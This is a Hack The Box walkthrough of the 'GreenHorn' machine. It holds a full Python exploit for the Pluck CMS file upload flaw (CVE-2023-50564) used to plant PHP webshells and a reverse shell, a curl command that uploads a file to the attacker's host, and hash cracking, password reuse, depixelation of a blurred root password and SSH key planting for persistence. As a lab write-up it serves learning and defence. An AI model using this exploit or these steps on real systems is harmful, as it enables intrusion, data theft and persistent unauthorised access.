GreenHorn

INTRODUCTION

GreenHorn was introduced in the time between the fifth and sixth HTB seasons. It’s about a web development company that prides itself on hiring very inexperienced developers. Thankfully for us, the boss also has very bad security practices 😂

Recon is very fast. First, recognize that there are two ports to investigate: both ports 80 and 3000 are running HTTP servers. Check them both out before doing anything else. As it turns out, one of them is hosting a git repo for the other - so finding critical sensitive details is very easy. Accessing the service on port 80, we can get a version number of the software being used. Some quick searching should lead to a CVE and a number of PoC exploits for it. Exploit the known vulnerability to gain a foothold on the system.

Obtaining the user flag after gaining a foothold is trivial. Check for credential re-use, and you’ll have it immediately.

The root flag was little more difficult, and took a bit of creative problem solving. After a tiny bit of local enumeration, you’ll find a file that should point you in the right direction of the flag, but might still leave you with a few questions. Do some research, understand the problem, and apply a well-known tool to solve the problem.

title picture

RECON

nmap scans

Port scan

I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

It’s odd to see PPP (point-to-point protocol) anywhere on an HTB box.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=b4214820a51fffa2; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=AHlhgbv0NBikCo1-HgwVQJzi7kE6MTcyMzcyMTcxODMyNjcwMDcwOA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 15 Aug 2024 11:35:18 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=bc419445f381ec93; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=xqBy4QP5PSXL0V2FhlZ-EFmJnAE6MTcyMzcyMTcyMzgwNzQ4ODM3Nw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 15 Aug 2024 11:35:23 GMT
|_    Content-Length: 0

Note the redirect to http://greenhorn.htb. Also, what’s that <link> element from port 3000? I’ll try decoding the base 64 data:

echo -n 'eyJuYW1...DAvYX'| base64 -d
# {"name":"GreenHorn","short_name":"GreenHorn","start_url":"http://greenhorn.htb:3000/","icons":[{"src":"http://greenhorn.htb:3000/assets/img/logo.png","type":"image/png","sizes":"512x512"},{"src":"http://greenhorn.htb:3000/abase64: invalid input

Ah ok - it’s just a logo or something. Honestly, I don’t think this is PPP; it’s probably a custom webserver.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No new results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No result.

Webserver Strategy - Port 80

Noting the redirect from the nmap scan, I added greenhorn.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=greenhorn.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Ok, so the target is using Pluck CMS. Contact to http://greenhorn.htb redirects us immediately to /?file=welcome-to-greenhorn, which suggests to me that I should definitely investigate file inclusion later 🚩

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

Unsurprisingly, there was no result. Now I’ll check for subdomains of greenhorn.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://greenhorn.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v

Directory enumeration against http://greenhorn.htb gave the following:

directory enum 1

The contents of robots.txt shows us that there might be a couple sensitive directories:

User-agent: *
Disallow: /data/
Disallow: /docs/

Below is the result of enumerating the /data directory:

directory enum 2

Spot-checking a few of these directories leads me to a HTTP 403 page.

Below is the result of enumerating the /docs directory:

directory enum 3

Enumerating the /files directory shows us an .htaccess file:

directory enum 4

The contents of that file show that execution of PHP scripts from /files won’t be possible:

AddHandler default-handler
<FilesMatch \.php$>
    SetHandler None
</FilesMatch>

<FilesMatch \.phtml>
    SetHandler None
</FilesMatch>

Options -ExecCGI

# mod_php check for PHP 7.x
<IfModule mod_php7.c>
	php_flag engine off
</IfModule>
# mod_php check for PHP 8.x
<IfModule mod_php.c>
	php_flag engine off
</IfModule>

Exploring the Website

Navigating to the website presents us with a sugary sweet welcome message, loading /?file=welcome-to-greenhorn. The other tab loads a different file, /?file=welcome-the-new-junior.

index page

Clicking admin at the bottom brings us to a login page. There is only a password field, which indicates that there is probably only one admin user. Interestingly though, there is an extra field (bogus) on the form that seemingly acts as a CSRF token:

login page html xsrf

It seems like admin.php, install.php, and requirements.php all redirect to this login page.

While attempting some default/obvious credentials, I accidentally tripped the login rate-limiting:

login rate limiting

Vulnerability Research

A web search for “Pluck 4.7.18 vulnerability exploit” led me straight to numerous reports of CVE-2023-50564. Apparently, there is an unauthenticated file upload vulnerability to this version of the CMS. There’s also an exploit already in Exploit DB (EDB-ID 51592). It seems that we can leverage /admin.php?action=installmodule to install a malicious module onto the website, therefore gaining RCE.

There’s a big problem though: this exploit is an authenticated file upload, and I don’t yet have any credentials! If I can find some, I’ll loop back to this 🚩

Webserver Strategy - Port 3000

Before I go any further, I should check out the HTTP server running on port 3000. Navigating to that port, I see a familiar index page:

port 3000

We can see from the page footer that it’s running Gitea 1.21.11.

Any avid HTB players will have also encountered this service on an earlier box, Busqueda. Maybe we can check out what repos are stored, and see if any secrets are leaked?

Clicking the Explore button in the top left, I immediately see that they have a repo called Greenhorn. It’s clearly the website we saw on port 80, with all files exposed.

😂 Oh boy… why did I waste so much time on directory & file enumeration, when this was sitting right here!

Searching the repo

Let’s clone the repo and take a look inside:

cd source
git clone http://10.10.11.25:3000/GreenAdmin/GreenHorn.git
Aside: search a filesystem for keywords

I often find myself performing the same task: searching a filesystem for matches to keywords. From what I’ve seen of how other hackers operate, it seems pretty normal to take any of the following approaches:

  1. Use auto-enumeration scripts like Linpeas or trufflehog. Don’t question it, just trust that the script will find what you need.
  2. Search for filenames that match the provided keyword
  3. Recursively grep a directory, searching for matches to a keyword
  4. (less common) search inside archive files for matches

(1) is not as flexible as we often need it. What if we think of new search terms? What if there’s something target-specific that we need to look for?

(2), (3), and (4) all suffer the same shortcoming - people usually only search for one term at a time. This is inefficient and leads to mistakes by omission.

(4) is just not as common as it should be. There are plenty of targets whose secrets are held in archives like zip or .tar.gz. A regular grep won’t reach those, yet still I find that a lot of people don’t use regular-expression matching to search inside archives.

I wanted a tool that combines all the best aspects of the above strategies. What I came up with was a bash script that does all of the above. I think strikes a good balance between simple and effective.

It’s very much still a work-in-progress, but if you want to check it out, please see my repository on my Github that contains this tool!

I used my search-filesystem tool to locate any sensitive files in the repo:

found sensitive files

A couple of those are images. Of the php files, pass.php looks particularly interesting. Its contents are just a single line of PHP:

<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?> 

Maybe it’s a hash? I’ll run it through name-that-hash:

name that hash

Cracking the hash

Alright, so it’s probably a SHA-512 hash. Let’s try cracking it:

cd loot
echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha512 hash.txt

cracked password

🎉 Perfect! That’s exactly what I was hoping for. With any luck, this is the password to the Pluck CMS admin interface. If that’s true, it means we can use it with the file upload exploit from earlier! I’ll try entering this password at /login.php (on port 80):

pluck admin page

Perfect! The password lets us into the admin interface of Pluck 😁

FOOTHOLD

File Upload Vulnerability

Now that we know the credential is valid, let’s try out that file upload exploit shown at EDB-ID 51592. Naturally, the goal will be to upload a webshell, so let’s get one ready:

mkdir exploit/cve-2023-50564
cd exploit/cve-2023-50564
cp /usr/share/webshells/php/phpbash.php ./ertyuh5634654w654.php
zip webshell.zip ertyuh5634654w654.php

I’ve tweaked the script from EDB-ID 51592 slightly to improve the program flow:

#!/usr/bin/python3

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import sys

login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}

if len(sys.argv) < 4:
    print(f'Usage: python3 {sys.argv[0]} <password> <zip-file> <php-payload-file>')
    sys.exit(1)

def strip_path(p):
    _p = p[:p.rfind('.')]
    if '/' in p:
        _p = _p[_p.rfind('/')+1:]
    return _p
    
password = sys.argv[1]
zip_file = strip_path(sys.argv[2])
payload_file = strip_path(sys.argv[3])

login_payload = {"cont1": password, "bogus": "", "submit": "Log in"}

multipart_data = MultipartEncoder(
    fields={
        "sendfile": (f"{zip_file}.zip", open(sys.argv[2], "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()

login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
    print("[+] Logged into account...")
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
    if upload_response.status_code == 200:
        print("[+] Zip file uploaded...")
        rce_url=f"http://greenhorn.htb/data/modules/{zip_file}/{payload_file}.php"
        print(f'[+] Requesting payload at: {rce_url}...')
        rce=requests.get(rce_url)
        print(f'[!] HTTP {rce.status_code}\n{rce.text}')
    else:
        print("[-] Failed to upload zip file.\n\tHTTP ", upload_response.status_code)
else:
    print("[-] Failed to log into account.\n\tHTTP ", login_response.status_code)

I tried running my script using the phpbash.php webshell as a payload:

python3 poc.py 'iloveyou1' webshell.zip ertyuh5634654w654.php

Navigating to the URL of the uploaded file, we can see that it was actually successful:

got webshell

This is great! And it proves that we can upload files arbitrarily…

😅 …but unfortunately it seems like this connection dies after a couple seconds. Maybe it would work better to use a reverse shell?

I went to revshells.com and grabbed a copy of the PHP Pentestmonkey reverse shell (a fairly reliable PHP reverse shell) and copied it into lkdnxclid.php, then zipped that into dakksfhlkhk3248975.zip

zip jsenbs847.zip lkdnxclid.php

☝️ I’m using a particularly odd filename because I don’t want to spoil the box for other HTB players. If I had used something obvious like “revshell” or “payload”, then my uploaded file (and directory) would show up if anyone were to perform directory enumeration on /data/modules

Now I’ll prepare a reverse shell listener:

sudo ufw allow from $RADDR to any port 53 proto tcp
bash
sudo socat -d TCP-LISTEN:53 STDOUT

With the listener running, I can now try running the exploit again:

python3 poc.py 'iloveyou1' jsenbs847.zip lkdnxclid.php

Running exploit

got reverse shell

There we go! A reverse shell 😁

USER FLAG

Upgrade the shell

It would be good to have a nicer shell. Let’s upgrade this one:

which python python3 perl bash # Python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter] 
export TERM=xterm-256color
export SHELL=bash
stty rows 35 columns 120
alias ll="ls -lah"; mkdir -p /tmp/.Tools  # convenience only

Local Enumeration - www-data

The important users on the box (users with a home directory and login) are:

root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash

My suspicion is that junior holds the user flag.

😂 While going through my “really easy, do this first” privesc checklist, I was successful with something:

change to junior

Yes, that’s right - you can just su junior and re-use the same password. Now we have a confirmed credential, junior : iloveyou1

The webserver was probably installed by junior and they re-used their password when they made it. Rookie mistake, but not terribly uncommon.

As I suspected, junior does hold the user flag. It’s in their home directory:

user flag

cat user.txt

ROOT FLAG

What is this Using OpenVAS.pdf file in /home/junior? To take a look at it more easily, I’ll transfer the file to my attacker machine. Since it doesn’t seem like junior has SSH, I’ll just upload it to an HTTP server.

First, from the attacker host, I’ll open the firewall and start an HTTP server:

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v

Now, from the target, I’ll upload the file:

curl -X POST -F 'file=@Using OpenVAS.pdf' http://10.10.14.3:8000

The PDF has a simple text message in it:

Hello junior,

We have recently installed OpenVAS on our server to actively monitor and identify potential security vulnerabilities. Currently, only the root user, represented by myself, has the authorization to execute OpenVAS using the following command:

sudo /usr/sbin/openvas Enter password: [some blurred text]

As part of your familiarization with this tool, we encourage you to learn how to use OpenVAS effectively. In the future, you will also have the capability to run OpenVAS by entering the same command and providing your password when prompted.

Feel free to reach out if you have any questions or need further assistance.

Have a great week,

Mr. Green

Run the sudo /usr/sbin/openvas and enter the password? This indicates that the blurred text is the root user password itself. If we can find a way to extract the blurred/pixelated text, then that should be the only step required for privesc.

Unpixelating

The task is pretty clear; we need to find a way to turn the pixelated text into plaintext. A web search for “unpixelate depixelate text from PDF” brought me to this Hacknews article, and subsequently to this Github repo for a tool called Unredacter.

This is all particularly worrisome to me 😅

Although it’s really low-stakes, until now I’ve used pixelation on this website to hide flags and other sensitive text. I guess I won’t be doing that anymore!

All of my attempts to use unredacter were unsuccessful, so I moved onto the other tool mentioned in that article, Depix.

git clone https://github.com/spipm/Depix
IMGFILE=/home/kali/Box_Notes/GreenHorn/loot/secret.png
python3 depix.py -p $IMGFILE -s images/searchimages/debruinseq_notepad_Windows7_close.png --backgroundcolor 255,255,255 --averagetype linear

Depix seems to have a handful of “search images” to use. If I understand correctly, these are just reference images created by running the reference text (/images/searchimages/debruinseq.txt, a sample of text where every letter is adjacent to every letter at some point) through a certain application, then taking a screenshot of the text

Thankfully, depix comes with a tool that shows the “boxes” that it detects, which helps you determine whether or not it has any hope of recovering the unpixelated plaintext. When I tried using this tool on the screenshot I had taken from the PDF, its detection of the “pixel blocks” in the image was very very poor.

Can we do a little pre-processing to clean it up?

For this section, I’ll be using Gimp.

It’s absolutely essential that your image processing is pixel-perfect - we can’t be feeding antialiased or pre-blurred images into Depix, or it will definitely never find a solution!

Even after doing my best to crop only the image to only contain the pixelated text, there’s still clearly some major issues with this image. Here’s a zoom-in on the lower left corner:

gimp 0

We see four distinct regions that would each be one “pixel” of the pixelated image. However, when we zoom in this closely we can see there are rows and columns between the pixel-blocks (like the “gutters” of a CSS grid). We need to find a way to undo this effect.

As long as the “binning” settings are correct, it should be possible to simply downsample then upsample the image:

  1. Downsample (scale it down, with no interpolation) the image to be only 3 pixels tall
  2. Upsample it (scale it up) to be a more typical resolution for text, something like 15px to 25px

The result should pretty much be what we need. Hopefully with no color/contrast distortion.

First, let’s downsample. Select Image > Scale Image then choose some settings like this. It’s essential that there is no interpolation applied, and that the vertical height is only 3px:

gimp 1

When we zoom in on the resulting image, we can confirm that this had the intended effect. This is the same region of the image as my previous screenshot - note how the “mixed” bands/gutters are gone:

gimp 1.5

Now let’s upsample this to turn it into a more normal height for text. Usually the minimum web pixel font size is 15, so let’s go with that (any multiple of 3 that is 15 or greater should be fine). Again, choose Image > Scale Image:

gimp 2

When we check our work, again it seems to have had the desired effect:

gimp 2.5

Now export the image as a new PNG. Do not use any compression or we will undo what we just accomplished.

IMGFILE=/home/kali/Box_Notes/GreenHorn/loot/password-downsampled-then-upsampled.png
python3 depix.py -p $IMGFILE -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

Depix runs a LOT faster now that there is only one obvious pixel block size!

After a few seconds, Depix finishes, and we can see the output:

found-password

That… is a very strange password. The length of it seems plausible for the length of the pixelated text, though. If I squint a little, I see the following:

sidefromsidetheothersidesidefromsidetheotherside

😒

I’m not confident that nothing went wrong, but let’s try it out from our junior shell:

su
# sidefromsidetheothersidesidefromsidetheotherside

Much to my amazement, it worked!

got root

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. Let’s delete the code we downloaded from gitea, just to save disk space:

rm -rf ./source/GreenHorn

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

EXTRA CREDIT

SSH as root

This whole time, we’ve been working out of a reverse shell. Although we were able to fully upgrade the reverse shell, it would be nice to have something a little more persistent.

The root user has an .ssh directory, so let’s plant a key. On the attacker host, generate a new keypair

ssh-keygen -t rsa -b 4096 -f ./id_rsa -N pixelsandpixelsorpixelspluspixels
chmod 600 ./id_rsa
base64 -w 0 id_rsa.pub # Copy the output

Now on the target host, as root, plant the key:

echo '[paste]' | base64 -d >> /root/.ssh/authorized keys

With the key planted, we can comfortably log in:

ssh -i ./id_rsa root@$RADDR
# use passphrase: pixelsandpixelsorpixelspluspixels

LESSONS LEARNED

two crossed swords

Attacker

  • Visit each open port right after scanning. On this box, there were HTTP servers running on both ports 80 and 3000. However, I accidentally investigated port 80 far too much before looking into port 3000 at all. It would have been much more efficient if I had taken a look, really just a glance, at both of them before thoroughly investigating either.

  • Check for credential re-use first. Even before performing any other local enumeration, check for credential re-use! If you already have a credential, performing this check on other users of the host should only take a few seconds. In the end, it could save quite a bit of time that you might have otherwise spent enumerating a service account.

  • Remember how to manipulate images. We had to do a bit of Gimp work to achieve the root flag. Thankfully, I have a little background on image processing, so I knew what to do right away. Even just realizing that the interpolated bands between the “pixel blocks” would be a problem was a huge boon to achieving the root flag.

two crossed swords

Defender

  • Git repos should never hold secrets. Thankfully, Github now warns you if you’re about to accidentally commit to a repo with sensitive details (tokens, passwords, etc) inside your code. However, self-hosted tools like gitea don’t provide any mechanism like that. To make sure you’re safe, don’t allow the sensitive detail to enter the repo at all. A good low-effort alternative is to use a .gitignore file and an environment variable.

  • Don’t expose private repos to the internet. Having a gitea instance exposed to the internet is not good! It’s far too reckless. If you want a publicly accessible repo, there are far more secure methods.

  • Pixelation is not secure against a persistent attacker. Never expect that pixelated text will remain hidden forever. Also, think about it in terms of future-proofing: once we have more sophisticated image processing AIs, I’m sure it will be completely trivial for any script kiddie to de-pixelate text with minimal effort, possibly even just a prompt into DAL-E or something like that! To ensure security, you should completely black-out text to censor it.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake